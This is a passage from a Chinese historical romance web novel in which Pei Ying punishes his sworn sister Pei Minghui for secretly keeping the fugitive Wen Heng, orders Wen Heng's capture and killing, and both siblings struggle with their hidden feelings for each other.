裴瑛的步子停留了片刻,偏过头扫了一眼身后,见裴明绘跟了上来,方才又往前走去。 她跟在裴瑛后边,低着头默默地走着。 裴瑛翻身上马,便看也不看裴明绘,但到底估计着雪天路滑,故按辔徐行,也不着急快走。 裴明绘默默地爬上了马车,而后甲士将昏迷的聂妩也被丢了上来。 完蛋了…… 裴明绘只觉身心都冰凉了。 一生一次勇敢,竟然还亲错了人。 她虽然是喜欢裴瑛,可一个是哥哥,一个是妹妹,是注定不能有结果的。她所能做的,只不过是卑微痛苦地在阴暗地爱着他罢了。 她只能暗自痛苦,阴暗渴求,虽然爱而不得很痛苦,但至少不会让她有一头撞死的心思。 裴明绘无助地抱着昏迷的聂妩,紧紧地低着头抿着唇,她思来想去,觉得还是不要面对问题比较好,故而悄悄地掀开了两侧的车帷,眸光扫过,她突然就有种想要跳车的冲动。 可是当她的目光落在辎车两侧高头大马之上黑衣甲士之时,她还是默默地把帘子放了下来。 希望哥哥不知道温晏长什么样子,裴明绘无比恐惧而又虔诚地祈祷着。 很快马车辚辚地向驶出了巷道,汇入了安邑城贯穿南北的主干大街,因着路上雪厚,马队的行驶速度并不快,而在这里的每一份每一秒对于裴明绘来说都仿佛上刀山下火海。 她不清楚裴瑛如何知晓她私养外室的,但目下最终的事,是如何狡辩……不,是如何解释她会将一个男人养在外头。 对,她是救了这个无辜可怜无家可归的少年,看他失忆实在可怜,便将他暂且收留。 至于……至于,为什么她会突然亲他,那就是……就是情不自禁,温晏的美貌太过出众,一时情不自禁,才有了如此失礼之举。 等裴明绘的理由想好了,辎车也就到了裴府,裴府的阍人一见裴家家主回来了,一路快跑就叫了管家前来,久不回裴府的裴瑛一朝归来,满府的下人纷纷都涌了过来,一时之间也是人头攒动摩肩接踵的热闹场面。 裴瑛勒马之后管家也一头大汗地跑了过来,管家殷勤地向裴瑛一躬身,遂道,“家主归来,我等下人未曾远迎,还请家主责罚才是。” 裴瑛显然没有心思顾及这些虚礼,他的目光望向了身后的辎车,而后利落翻身下马,大步走进了裴府,留下三个冰冷的没有情绪的字。 “开祠堂。” 裴明绘被前来的侍女仆妇们簇拥着,也一路磨磨蹭蹭往后院祠堂走去。 祠堂的门打开,裴瑛的目光看向那坐北朝南的由上而下层层摆放着的裴家牌位,而祠堂四处的香烛一寸一寸地照亮着他们的名字。 他的目光落在父亲的牌位之时,眸中所有的情绪都凝固住了。 他久久地站立着,直到裴明绘磨磨蹭蹭地进了祠堂。 他并没有回头,只是闭上了眼睛。 “跪下。” 裴明绘没有胆子去看那立在牌位前的男子,只得跪在地上,垂着头, 第19章 家法 良久的沉默, 只有冷风呼啸其间,吹得烛火晃晃,香烟散散。 裴瑛回首, 居高临下地看向跪在地上的女子,语气不善。 “如何, 你有什么话想说?” “我……我不……不是故意的,哥哥别生气。” 裴明绘咽了咽口水,将恐惧压了下去,并试图安慰裴瑛情绪。 裴瑛闻言,身体也转了过去:“并非故意?我那且问你,缘何你回去那处宅子。” “那……那……” 裴明绘的额头很快凝上豆大的汗珠, 她甚至不敢看裴瑛的脸, 但仅仅听他的声音就足够她心惊胆战了。 “那本……本就我名下的宅子,去一去,也……也……无妨。” 裴瑛听出裴明绘话里话尚有狡辩的意思,便压下心中滔天的怒火与急迫得知真相的渴望, 便来到裴明绘身边, 一撩衣袍单膝跪下, 与她平视,声音也柔和下来。 “子吟,你别怕。为兄如何会责怪你呢。你尚年轻,这些事, 也是在所难免的。只是这个男人有些麻烦,若不能及时处理掉他,怕是后患无穷。” 他的语重心长, 兼之又柔和。 可谓之曰软硬兼施,几乎没有怀疑, 裴明绘就掉进了裴瑛的陷阱。 “哥哥……” 裴明绘感动非常,万万不曾想裴瑛的雷霆之怒竟如此般就消解了,到底是自己的哥哥,对自己还是这般的好。 裴明绘一想到自己竟惹他生气,更是万般的愧疚。 她羞愧地用袖子捂住了脸,借此来逃避裴瑛直视自己的那“关爱”的目光。 过了许久,裴明绘才堪堪整理好心绪,但显然这份愧疚并不已让她说实话。 “哥哥,他原是我救下的,只不幸伤到了脑袋,连自己姓甚名谁都不记得了,我见他十分可怜,便收留了他。” “然后呢。” 裴明绘低着头,并未见裴瑛唇畔的笑意正在缓缓消失。 “后……后来,我一时喝……喝了酒,才……” 裴明绘突然感觉如芒在背,猛一抬头便见裴瑛那淬满寒霜的眼眸。 裴明绘心里发毛,瞬间低下头,下巴却又一把裴瑛一把掐住,只能被迫抬起头来。 “他是第一个吗?” 裴瑛的问题十分犀利,也不留情面。 “是。” “是谁的提议?” “我……” “今日我若不来,你当如何?” 面对裴瑛猛烈的攻势,裴明绘只能绝望地闭上眼睛。 天知道如此场合为何裴瑛会来?! 见裴明绘沉默下来,裴瑛长久地闭着眼睛,香烛的光照在他的面上,原本紧绷而冷冽的脸也逐渐柔和起来,原本被愤恨与震怒填满的胸腔被无力取而代之。 无声无息的僵持里,一种难以名状的隐秘的痛苦与陌生情绪在疯狂撕咬着他的心脏,侵蚀着他的理智,若非多年浸淫于风云诡谲的庙堂,裴瑛估计很难有这样的“好脾气”。 可是事情总得解决,愤怒并无用处。 裴瑛整理心绪,强行压下所有翻涌着的情绪,他对自己的妹妹了如指掌,焉能看不出她的神色异样,听不出她话里诡异。 裴瑛突然很是疲累,他垂眸看着她,他的手依旧钳制着她的下颌,带着薄茧的指节滑过她的肌肤。 沉默里,心中荆棘萌芽,于无声中潜滋暗长,逐日消磨心志。 裴明绘感受到裴瑛胶着在自己面上,他的那双手在自己面上游移着,像是抚摸一样,在方才那场违逆道德与伦常的错吻之后,裴瑛的丝毫触碰都让她亢奋不已,在胆战心惊的恐惧的加持下,她的脑海却炸开一个又一个火花。 感受到指尖传来的温热,裴瑛像是被火燎到一般,倏然松开手,起身后退一步,转过身去,抬起手来,目光落在上面。 又是长久的沉默。 “你可知……”沉默之后,裴瑛终于开口了,他的声音也平静下来,平静到几乎没有起伏却让裴明绘胆战心惊,“你养在外面的那个男人是谁。” “他……他叫温晏,是颍川人,被……被我救了,但……他失忆了。” 裴明绘虽然说过了一遍,但是再说一遍,仍旧磕磕绊绊的。 “温晏,失忆?” 裴瑛尾音微微上扬,他的目光落在裴明绘脸上,让裴明绘不由一阵骨冷。 至此,她才发现,自己竟然读不懂裴瑛的情绪。 他将她的颤抖尽数收入眼中,他笑了笑又摇了摇头,他的话里几乎要溢出来的疑惑,“裴子吟,你何时如此愚蠢了。” 裴明绘闻言,只能缩起了脑袋,不敢再看裴瑛。 他面上已经没有了气愤,虽说他本就及其擅长控制自己的情绪。可是如今,到了极点的无奈已然将愤怒的情绪压了下去,“此贼子却是温家人,不过他可不叫什么温晏,而叫温珩。” 一言既出,五雷轰顶。 颍川温珩的大名,谁人不知谁人不晓,温家先祖追随高祖开国定鼎,自此封侯拜相,但随之过往功臣宿将的渐渐退场,温家也跟着没落下来,可是就到了温珩父亲温姚这一辈,却又有中兴之象。 不仅温珩父亲官拜颍川郡守,在平定七国之乱之乱立下大功,后被先帝调入长安,擢升为九卿之一的奉常,掌管汉朝的国家祭祀与国家之礼,可谓曰掌管汉朝意识形态部的重要官员,主管汉朝文化相关事宜。 但是明眼人都能看出来,先帝将能够调动一郡兵马的郡守调入长安,并委之以与经济军事关系的不大的奉常,同时调用长安官员就任颍川郡守,自此温家的在颍川的势力可谓之曰与日剧下。 但是他的一双儿女,却让逐步走向低估的温家再度发生了转折。 他的女儿,乃是皇帝的夫人,生得一张桃花面,号之为桃花夫人,深得皇帝喜爱,在未诞下子嗣之时便是恩宠日隆,直接压过了谢皇后与昔日甚得皇帝喜爱的倪夫人。 而他的儿子,也就是大名鼎鼎的温珩,也跟他姐姐一样,非常得帝心,以侍中身份长伴皇帝身侧,专司上谏各种游玩之事,并不参与政事。 然久在皇帝身侧,想要不与闻政事,那也是一件很难的事。 长安又有谁不知皇帝身边那个叫做温珩的宠臣,每每皇帝出行,就算不带上桃花夫人,也要带温珩。 原本裴瑛本对这个少年并无多少兴趣,直到他在大臣贪污受贿一案之时,发觉了温珩的手笔,虽然裴瑛顾及着桃花娘娘,并不打算在她得宠之时对她弟弟如何,可是后来,他在提审此官之时,却知晓了温珩暗中与不少官员结党,并且有了将裴瑛取而代之的心,并且多处搜罗他的错处,欲将裴瑛置于死地。 裴瑛自然要将所有可能的危机都掐灭在摇篮里,但他深知皇帝十分喜欢这个叫做温珩的少年,区区贪污之罪,并不足叫皇帝处死温珩,但是若是干预政事,刺探君心,并将之泄露给各郡国之事拿下温珩,那便只是一个顺水推舟的事了。 温珩当时到底不过一个十五岁的少年,如何能够与老谋深算的裴瑛比,原本他想要联合朝中裴瑛的政敌将裴瑛置于死地,结果却因此落入了裴瑛精心设计的罗网,本来就要将其问斩,桃花夫人却在此时有了身孕,拼死救下了温珩。 但就凭一个桃花夫人,却也只能救下温珩的命,而不能保证温珩的前途,温珩被发为苦役,裴瑛又略微疏通,便让其去修筑西南夷道。 后来果然不出裴瑛所料,温珩很快就死了,但是却没有见到他的尸首,这是一件让裴瑛始终没有办法安心的事。 听到这里,裴明绘的脸色彻底白了下来,她瘫坐在地。 听着军靴踩在地板的声音,以及行走之间盔甲之上的甲片相撞的金铁之声,裴明绘一抬头,就见裴瑛他径直朝着她所在的方向而来,香烛的火光被冷风吹得摇曳不止,覆在他的盔甲之上那冰冷的光晕也一同粼粼变幻,原本儒雅的面容因为剔除了剔除了温柔与愤怒,而更加冷峻,只看上一眼,心头便仿佛压上一块大石头一般无法呼吸。 这才是她哥哥,专司朝堂谋划,手下不知鲜血几多的裴瑛。 裴瑛走了过来,俯下身子,将裴明绘的身子扶正,让她端正跪着。 他的动作很轻柔,暴力不再时时蓄势待发。 他的目光完全落在她的脸上,她羞愧地想要低下头去,下巴却又被裴瑛的手托住。 “明月坊库房失火,乃是温珩一手所为。”此时此刻的裴瑛已然不再愤怒,却也剔除了温柔,只平静地叙述着事实。 “是我……引狼入室。” 裴明绘羞愧地想找一个地缝钻进去,但是裴瑛显然不想给他这个机会。 “吃一堑而长一智。”裴瑛撩起衣袖单膝跪地,左手撑在膝盖上,他的目光并未因为他跪下而改变,依旧俯视着审判着裴明绘,“但是,裴子吟,你可知晓,裴家家训第一百零一条是什么吗?” 裴明绘骤然抬眸,眸中满是悔恨,虽然她并不想说,但是在裴瑛的眼神压迫之下,还是一句一话地说了,“凡河东裴氏之人,不可私养外室。” “今日你既违背,可知后果?”裴瑛的话语很平静。 裴明绘能够感受到裴瑛的目光一直在她身上,这样她再一次低下头,怯生生地回道。 “该当家法。” “你既然清楚,可有怨言?” 依旧平稳的声线硬生生控住了她所有的退缩。 “那好。” 裴瑛站起身来,一伸手,而早就拿着家法等候的仆从立即恭谨地将家法递了上来。 裴瑛垂眸,修长的手握住了那两尺长,四寸宽的檀木板,裴家果真是大家,就算是惩戒人的家法的手柄出竟然也雕刻出了形形色色的奇珍异兽。 裴瑛将那家法在手中颠了颠,而后确定正好适宜之后,便示意裴明绘伸出手来。 这是裴瑛第一次以兄长的身份教训裴明绘。 “伸手。” 裴明绘哆哆嗦嗦地伸出手来,手指始终弯曲着没有办法伸直,裴瑛见状,便伸出手来,一根一根地将其捋直,冰冷的带着薄茧的指腹擦过她柔软细腻的手心,激起一片异样的酥麻。 畏惧,愧疚,与这异样的感觉混合在一起,形成了一种难以言表的陌生感觉,叫裴明绘的心悸动着。 “唯其疼痛,才会让你知道,什么可为,什么不可为。” 裴瑛平稳的声线像极了私塾里的教书先生,将人世间的道理娓娓道来,将其教给自己的妹妹。 话音刚落,就听“啪”的清脆一声,家法就重重落在了裴明绘的手心,顿时她白皙的手心就突兀地多了一条红痕。 裴明绘咬着牙,忍住疼痛与汹涌而来的羞耻。 裴瑛那握住自己指尖的手,冰冷而又坚定,每一次戒尺落下的时候,她的手都会不由自主地往下逃,而他的手就会握住她的指尖。 他的手很冰冷,而她的手却热得燎人。 疼痛与羞耻之下,那股陌生的酥麻叫裴明绘的心一下一下如急促鼓点一般。 这种心头一跳一跳的悸动,让她感到陌生却又享用。 看似毫不留情,实则处处皆在掌握的十下落了下来,顿时裴明绘的手心处便是十条交错肿胀的红痕。 “至此,此事也就过去了。”裴瑛收起戒尺,居高临下地看着隐隐泛起泪花的裴明绘,“若有再犯,可不只是十下这么简单了,明白了吗?” “明白了。” 裴明绘低低地回应道。 “你先在祠堂跪着,等我处理完聂妩,再来寻你解决余下要事。” 裴瑛的语气突然变得有些危险,一提到聂妩,话语间不经意便流露出杀意,登时惊得裴明绘心里一颤,她赶忙膝行到裴瑛近前,拽着他的衣服,泪眼朦胧地看着裴瑛,“哥哥,此时与聂妩无关,都是妹妹一人所为,你不要要她的命。” 裴瑛冷笑一声,依旧居高临下地看着裴明绘,眼中是几乎不可更改的杀意,他的语气也是砭骨的寒冷,“我的妹妹如何,我自然清楚。然聂妩一介奴婢,竟然屡次撺掇主人行不正之事,该杀。” 他看似平淡的语气里是再也掩饰不住的杀意。 早年看见聂妩能够讨总是泪眼婆娑的裴明绘的开心,裴瑛这才让聂妩作了裴明绘的贴身奴婢,后来裴瑛见妹妹有经商之才,便大力资助于她,让聂妩从中帮衬,裴瑛也不曾想二人竟能将产业做的如此之大。虽然裴瑛并不喜妹妹经商,但是见她日渐开朗,便也就随她去了。 可裴瑛万万也不曾想,聂妩一介奴仆,竟然屡次撺掇裴明绘养外室。 他每每想到这里,都恨不得将聂妩碎尸万段,如此家奴,好生猖狂。 若是再留她在她便,怕是又要生出怎样的麻烦。 自己好端端一个乖妹妹,又如何能让她祸害了? “松开。”裴瑛的目光落在她拽着自己的衣服的手。 裴明绘倔强地摇了摇头。 裴瑛收回目光,大步往前走,不欲再理会她,可是才走了两三步,岂料裴明绘竟然直接抱住了他的腿,双臂死死地锁住了他的腿,像是要将裴瑛抱在自己的茧房里一般。 “松开。” 裴瑛深吸一口气,压抑住胸口翻腾的怒气。 “不松。” 裴明绘死死地抱着,因为她知道,她一旦松开,裴瑛是真的会要了聂妩的命的。 “松开。” 裴瑛的语气也愈发凛冽,似乎隐隐有不耐之意。 第20章 哥哥,对不起 “不……” 裴明绘却依旧倔强地摇了摇头, 她知道自己靠耍赖的是绝对扭转不了裴瑛的意志的,但是一想聂妩跟了自己十数年,为自己殚精竭虑, 为自己处处着想,便是难过得不能自己。 “哥哥, 妹妹求你,你不要杀聂妩好不好……”裴明绘实在是压抑不住行将失去挚友的恐惧,她的泪水如同断线的珍珠一样,“你杀了她,她就死了。此事全赖子吟肆意妄为,聂妩虽大胆, 却全无害我之心啊, 求哥哥饶她性命!” “……” 裴瑛终究是被裴明绘这耍赖的话逗笑了,他知道,聂妩对裴明绘的影响很大,若是真的杀了她, 怕是裴明绘又要郁郁寡欢了。 罢了罢了, 饶此人一命罢。 “罢了。” 裴瑛垂首, 看向抱着自己的腿眼泪汪汪的妹妹,终是在一声叹息声中放弃了杀意。 “她若再敢放肆,我绝不留她性命。” 裴明绘听裴瑛说放过聂妩,那便是真的放过聂妩了, 这才小心翼翼地放开裴瑛的腿,又自己端正地跪好了。 等一切都完毕之后,已经是子夜时分了, 在祠堂了跪了一个时辰,裴明绘在春喜一众奴仆的搀扶下踉踉跄跄地回道了自己的卧房。 手心很疼, 膝盖也很痛,全身上下也跟着一处都没有不酸痛的地方,但是这些疼痛对于裴明绘并不算什么,真正叫裴明绘惊惧的,还是裴瑛的雷霆一怒。 以及,那错位的吻。 她痛苦地捂住脸。 哥哥一定是知道温珩长什么样子的,他一定是这样的。 哪里有妹妹会喜欢上与自己哥哥长得一模一样的男人,又有那个妹妹会亲吻与自己哥哥长得一模一样的男人。 不会。 他一定是知道了,他一定是知道了她对他有所企图,她对他居心不良。 所以他才那么生气。 裴瑛那么重礼之人,如此违背道德伦常的事,他怎么可能不生气。 若是他真的生气,万一他讨厌自己了怎么办。 裴明绘简直不敢想若是裴瑛厌恶自己该怎么办,如果真的是这样,自己哪里又有颜面在苟活于世呢? 每每想到这里,裴明绘就惊惧痛苦到了极点。 所有隐秘的不为人察觉的情丝若被人堂而皇之的摆出了,这并不异于让裴明绘自戕。 究其根源,就是自己这本就不该出现的违背伦常情感,不仅让自己陷入了泥沼,甚至也可能将自己哥哥也拖入泥沼,永世无法解脱。 她痛苦地流着泪,对自己的卑劣而生生懊悔着。 偌大的卧房只有燎炉冒着细碎火光,在黑夜里一闪一闪的,她留着泪,泪晕开了火星的光。 而就在此时,轻而规律的敲门声传来,而后便是那温润柔和的满是关切的声音传来。 “子吟,睡了吗?” “睡……睡了。” 裴明绘不想让裴瑛看见她这幅为情困扰的模样,赶忙回道。 门外传来一声无奈的轻笑,随后门缓缓推开,裴瑛走了进来。 他脱下了冷硬肃杀的甲胄,换上更为柔和的青色衣衫,袍摆随着他轻而缓的步伐轻轻摇动着,其上竹叶暗纹闪动着银色流光。 如切如磋,如琢如磨。瑟兮僴兮,赫兮咺兮。 整个人也褪去了方才的凌厉冰冷,重新又变回了裴明绘记忆里那总是笑着的温柔哥哥。 正所谓翩翩公子,举世无双。有匪君子,终不可谖兮。 “子吟,可生我的气。” 裴瑛的语调柔和了下来。 原本裴瑛还是想晾裴明绘一天,让她好好反省一下自己错在何处,可是一听守在裴明绘跟前的婢女说小姐正在哭,裴瑛所有的怒气瞬间烟消云散,想要不想,立即就来见她。 “哥哥。”裴明绘将眼泪擦去,不想让裴瑛看见自己的这幅模样,同时,她更怕的,若自己看见裴瑛,心中的情绪会再度控制不住,故而扭过身子去。 “我没生哥哥气。” 她的声音闷闷的。 裴瑛再度无奈一笑,缓步走过,坐在了榻上,手指搭在她的挨打的左手上,将她虚攥着的左手抚平,指尖轻轻划过她红肿的掌心,激起一阵酥麻,沿着经脉到了大脑里,荡起一片又一片沦涟。 “可还疼?”裴瑛轻声问道。 “不疼。”裴明绘的声音哽咽着。 “真的?” 他的声音从身后传来,裹着几分笑意。 “真的。”裴明绘原本压下去的难过再度翻涌起来。 裴瑛的笑容无奈却又宠溺,从怀里取出伤药膏来,用指尖取了伤药膏,而后将其均匀涂抹在裴明绘的伤口上。 微凉的感觉顿时压过伤处火辣辣的疼痛。 “温珩绝非良配。”他的语气平缓,并无责怪之意,只是平静地与自己的妹妹叙述着利弊,“他居心叵测,给不了你想要的,只会将你拖入深渊。” 裴明绘的肩膀颤抖着。 他居心叵测,她又何尝不是呢。 他给不了她想要的,可是能给她想要的人,却是那永远不可能的人。 “哥哥……” 愧疚,痛苦与自责多种纷杂交织汇聚在一起,欲望与理智明暗对峙,几乎将她生生分裂成两半。 一半是十数年如一日爱着他,想要将他纳入怀中的自己,一半又是痛恨怀有如此违背伦常的欲望的自己,辜负了他的毫无杂念的真挚的爱。 “哥哥,对不起。”裴明绘的心无比挣扎无比痛苦,她艰难地回过头来,泪流满面,泪光闪闪,“我真的不是故意的。” 20-30 第21章 何以放手 她竟然这么痛苦吗? 想到这里, 裴瑛的呼吸不由停滞了一瞬,他扶住裴明绘的肩膀,缓缓将她抱在自己的怀里。 他垂下眸去, 目光一瞬不离,将倚在怀中的妹妹映入眼眸深处。 他的目光褪去了所有庙堂上的算计, 而只剩下真诚的对妹妹的疼爱。 她的肩膀瘦削,裴瑛的肩膀很宽阔,很轻松便将她完全抱在怀里。 她的头靠在他的胸膛之上,她的全部重量也在此时都放在他的身上。 裴明绘的心纠结着,痛苦着,她紧紧攥紧他胸前的衣服, 泪水洇透了他的衣衫, 温热的潮湿透过交织的经纬落在他的胸口,无声却热烈地灼烧着,从表层的肌理,一路烧到心里去。 裴瑛的目光本像是那清澈明亮的月光, 可是心底的异样却让那清明不再, 像是一缕一缕迷离的烟雾, 让他也有些混沌。 她为什么这么难过呢,是怕自己责怪她的逾矩僭越之行吗? 怎么会呢? 他怎么会责怪她呢? 这不过就是一个小孩子的吻罢了。 做兄长又怎么可以牵扯到那些肮脏的事上去呢? “我怎么可能怪你呢。”裴瑛的声音很轻,像是春风一般柔和,无声之间消解所有冰雪, 冰雪化作涓涓细流,悄无声息地流进裴明绘的心田。 “此般误会,我不会放在心上, 你也不要自责。” “好了好了。”裴瑛慢慢拍打着她的背,却发觉她竟瘦了太多, “你莫放在心上,此种小事,万不值得你伤心。” 裴明绘闻言,骤然抬起头来,仰头看着他。 裴瑛微微松开了手,以便她仰起头,与他相望。 黑暗里,她的眼睛蓄积了太多未落下的眼泪,而雪光自窗外来,悄然落在上面,他低头望去,便是一汪波光粼粼的泉水。 他只这么浅浅地看上一眼,心里便起了一阵躁动的风,这阵风慢悠悠吹过他内心的荒芜的雪原,似乎有什么在融化。 他的动作顿了顿,修长匀称的手悬在空中,迟迟不曾落下。 黑暗之中女子的容颜依旧是那么清丽,晶莹的泪水是剔透的水晶,点缀在他的脸颊之上而后顺着她仰起的颈项的优美的曲线落下,陷进微微凌乱的衣襟里。 他不由想到了很久很久以前,他受伤回来,正自包扎之时,她就这么悄无声息地从才回檀木多扇屏风之后钻了出来。 其实,做皇帝的刀,受伤是在所难免的。 毕竟,自己虽有皇帝的行人,却也无所凭依,倚仗的就是自己的头脑里的思量与这幅血肉之躯。 他看着她,怯生生地为他流着泪。 那时,二人还并未如此熟识,毕竟少年初见之后别长久的别离。 裴瑛笑着招了招手,她怯生生地走了过来。 他将她抱在怀里,用手抚去她的泪水,甚至没有顾及自己的伤口已然裂开渗出了血,丝丝鲜血从绢布之后蔓延开来。 “别怕,为兄的伤不重。” 裴瑛起初以为只是自己受的伤太过恐怖,吓到了未见过如此血腥场景的她。 可是她却说,她是担心他,这么重的伤,一定很疼的。 裴瑛永远记得当初的感受,原本被仇恨填满的心第一次有了风动,像是春风第一次吹到了荒芜的不见天日的雪原一般。 裴瑛记得,当时的她,还是个小姑娘。 总是可怜兮兮的,总是焦虑不安。 她像是一株开在暮秋的花,虽然美丽,却总是心惊胆战地恐惧着寒冬的到来。 裴瑛的到来,为了遮蔽了行将到来的风寒。 一如既往的,他守护着她。 但与此同时,她也为他带来了长久缺失的温暖, 可如今她也已长成大姑娘了,有了大人该有的情丝。 是不是意味着,有些事也会发生改变…… 屋外飞雪簌簌,屋子里寂静而又温暖,燎炉火花闪动着,像是火的呼吸,时间静谧在温此间流动着,终于那火花炸开,原本微小声音在寂静的夜里却如此清晰而又清脆。 一瞬间,便将裴瑛惊醒。 裴瑛的手指微微蜷起,犹豫不定着思虑着,最终他的手没有落在她的肩颈之上,而后落在他们身侧,放在了柔软的丝织摊子上。 兄妹相望着,这么近的距离,彼此又精心地探究着彼此的情绪,一时之间,似乎连彼此深藏在心底的情绪与感情都变得一目了然。 他微微偏过头去,二人的视线便交错开来。 裴明绘仰着头,依旧安静地注视着他。 她既高兴,又伤心。 高兴的是,他并没有那个悖逆伦常,以下欺上的僭越的吻放在心上,她依旧是他的妹妹,伤心的是,她注定,永远都是他的妹妹。 她常常幻想,若是自己与他,并非在祖宗牌位前结拜为兄妹多好,若是能像故事里,因为恩情结拜为夫妻该有多好。 可是一切都是她的幻想,现在,裴瑛是她的哥哥,她是裴瑛的妹妹。 这是不可更改的事实。 这与血缘无关,而与责任,与义务,与深藏内心的歉疚,与朝夕相伴苦命相依所产生的情感联结有关。 所有的所有,或许都注定了他们只能是兄妹,因为二人的所有里面,没有情人的爱。 “好。”裴明绘的手圈过他的颈项,紧紧地抱着他,她将头靠在他的颈窝,悄无声息地贪恋着他怀中的温暖,嗅着他身上的冷香,声音轻到像是梦中呓语,“哥哥,我明白了。” 裴瑛的手慢慢抬起来,搁在她的脊背之上,轻轻地拍着,无声地安慰着她。 他总是想到以前,却又总是在回忆之中惊醒,想到方才的那场荒唐,心中不由一声长长的叹息。 待到怀中人呼吸平稳之后,裴瑛缓缓将目光从她身上移到了那冒着火星的燎炉之上,原本平静柔和的眸子泛起阵阵涟漪,点点星火荡漾其间,像是急剧膨胀的火焰。 终于,他将裴明绘从怀里放了下来,让她平躺在榻上,双手交叠放在身前,又将被子妥帖地盖在她身上。 他站在榻旁,凝神看着她的睡颜。 屋外风雪愈盛,夹杂着雪粒汹涌地扑打着窗户,呼啦哗啦地没个停歇。 他步子轻而柔,踩着厚厚的红毡之上,几乎没有发出一丝一毫的声响,他推开门,骤涌的冷空前赴后继地涌了过来,吹得他的发丝与衣袂飞扬。他回首,看向裴明绘的方向,是柔和的,是无奈的,是宠爱的。 可就他合上门的一瞬间,步履飒踏,青色的衣袂随着冷风飒飒飘扬,裴瑛的目光里温度瞬间被冷风尽数吹走。 “通知各郡各县官署,今有安邑要犯出逃,各关隘盘查过往行人,一经发现,即刻就地诛杀,将其头颅带回。” 此子如狐狸般狡诈,竟然能在西南夷道的修建中假死脱身,若将其在千里迢迢地带回来,难免会在路上出什么事,不若就地斩杀,将其首级带回最为妥当。 一批黑色甲士无声领命,而后隐入了黑暗之中。 “若有郡国豪强藏匿之,则先行汇报,同时尔等秘密寻其踪迹,相机杀之。” 温家枝叶多,根系也深,难免有什么不识趣的人想襄助于他。 又一批黑色甲士无声领命,而后退入黑暗。 “若是其逃入长安城,则按兵不动,再寻时机。” 长安势力错综复杂,陛下不喜刺客出没,若其入长安,难免受高爵之人庇护,强行杀他,便会因此受到掣肘。 裴瑛停在回廊处,看着漫天大雪纷飞,心中的全盘谋划已然形成。 可无论如何,温珩都不能活,裴瑛抬起眼帘来,指腹无意识地摩挲着涂着一层黑漆的廊柱,飘飞在半空的晶莹雪花折射出一片冰冷的光,落进裴瑛的眼底,凝成杀意。 此人阴狠狡诈,斗不过他,竟然想对他妹妹下手。 裴瑛明白,温珩所牵涉的,绝非仅仅一个颍川温氏,温家能以尺寸之功得以居此高位,虽屡屡遭受打压而不落败,其攀附结交真正的勋贵的能力,不可小觑。 自秦国横扫六国一统华夏始,颍川温氏似乎就具有对于政治的超高嗅觉灵敏度,先是在秦灭韩之时就率先举城投降,因此在秦国立足,后又在高祖协同项羽兵团合攻秦军之时,察觉利落投降高祖项羽兵团,与之里应外合,攻下颍川郡,温氏便选择了势力最为强悍的项羽部,而后又在察觉项羽部大势将去之时,又阴与高祖联合,将项羽逼至垓下。 温氏不过就是墙头草,哪边风大就往那边倒,正有所飓风将起,长草偃伏。但是墙头草与墙头草也是不一样的,在风向将有改变之时就立即倒向另一边,而另一些墙头草,则会在飓风已然到来的过程中,瞬间折为两半。 不得不说,温家每一代家主,似乎都掌握了墙头草的精髓,灵活在各方势力与皇权之间跳转,几乎每一次都毫发无伤,既往的功臣宿将一个接着一个凋零,温家却还是靠着灵活的身法活了下来,并且将自己的根系深深地扎进了颍川的土壤里,并且与其他地方豪强结为婚姻。 当然,他们的这些做法,皇帝都看在眼里,所以就将温珩父亲迁为九卿之一的奉常,同时想将温室一族全数迁入茂陵,以消除温家在颍川郡的地方势力,后来却因种种障碍,终以失败告结。 虽然皇帝对温家处以打击的态度,但对于温氏姐弟,皇帝却也颇为宠爱,先是桃花夫人,以美貌得盛宠,后有温珩,不过以其姿容,因其善伪善佞,而颇得帝心,出行游猎往往伴帝驾左右,最是春风得意。 裴瑛有自己的考量,若其未进长安城,就地诛杀,也不会产生什么隐患,可是若他进了长安,怕是牵扯就多了,到时,恐怕就不能再轻举妄动了。 温珩其人,虽然年轻,但却异常狡猾,若让他活着逃走,难免生事。 虽然裴瑛并不怕温珩,但是温珩竟敢对裴明绘动手,可见其心狠毒,其手段狠辣,这是裴瑛所断断不能容他的。 他回头,越过雪梢缺处,望向她的方向,眼中闪过一丝迷茫。 他疑惑地偏着了头,眼睛一眨也不眨。 像是一尊玉像,美而无神。 直到雪盈于睫,轻飘飘的雪花堆积起来,却沉重到让他不得不闭上了眼睛。 裴瑛在发呆。 往日雷厉风行的御史大夫,竟然什么没有想,只在发呆。 不可以将她拱手让给别人。 当这个念头突兀冒出来的时候,裴瑛倏然睁开眼睛,映入眼帘的,却依旧是在夜色与朦胧的灯火的明暗交错,而后雪花飘落在其间。 他猛然心惊,原本沉寂下来的心脏也一下接着一下剧烈地跳动着。 不可以。 他抬手摁住,压下荒诞的思欲,平复既往的理智。 你是她的兄长,不可以。 他的心绪沉重而飘忽,像是廊外漫天飘飞的大雪一样,时而沉重地下落,时而又轻盈地飘起。 他再度垂下眼睫来,再度陷入了深深的迷惘。 忽然一阵风起,冰冷的雪花打在脸上,骤然的冷让裴瑛从迷茫里惊醒过来,他蓦然惊觉自己竟然生了将妹妹永远带在身边的想法,不嫁不娶,这样任何人都无法插入其间,二人永远都不会再分离。 这样恐怖的想法登时叫裴瑛自嘲起来,你不是自诩为无所畏惧吗,不是自以为为了报仇可以付出一切吗? 怎么如今要将妹妹嫁出去,你就生了如此龌龊的心思,难道你要平白耽误了她吗? 一个裴瑛质问道。 不,世间男人大多肤浅,若是叫她碰上司马相如这一类人,这不是你做哥哥的失职吗? 另一个裴瑛辩驳道。 内心天人交战,裴瑛坐在廊下,仰头看纷飞雪落,冷气悄然侵骨。 他的凤眸本来修长优雅,在空泛的发呆之下,竟然圆润起来,所有锋芒都内敛进瞳眸深处,像是宛若清润柔和的灵玉,只可偶遇之,不可强求之。 一盏琉璃风灯悬在头顶,随着冷风转啊转,各色斑斓的光彩也再不断交替变幻着,落在裴瑛身上,为他镀上一层梦幻的光彩,可是却映入已然失去焦距的眼眸里。 一种无力感油然而生,裴瑛良久寂然,终是发出一声叹息。 一切以相遇开始,而一切终将与分离结尾,此乃世间固然之理,自己何能以一己私心,违逆它呢? 他颓然坐着,他终于在如此困难的抉择之中退让了。 但是想法一旦在心底扎根,日复一日,逐日势大,恐将如蔓草不可芟除,攀附己心,终至于沉沦无救。 他站了起来,将衣裳的雪全都拂了下去,不期然又看向了裴明绘所在的方向。 冷风带着雪沫打着旋飘过,吹得檐下铁门叮咚响个不停,他的衣袖轻盈随风而起,乌黑的长发在空中飞扬着,像是柔顺的丝缎一般。 一声寒鸦惊叫起,裴瑛骤然惊醒。 “闭嘴。” 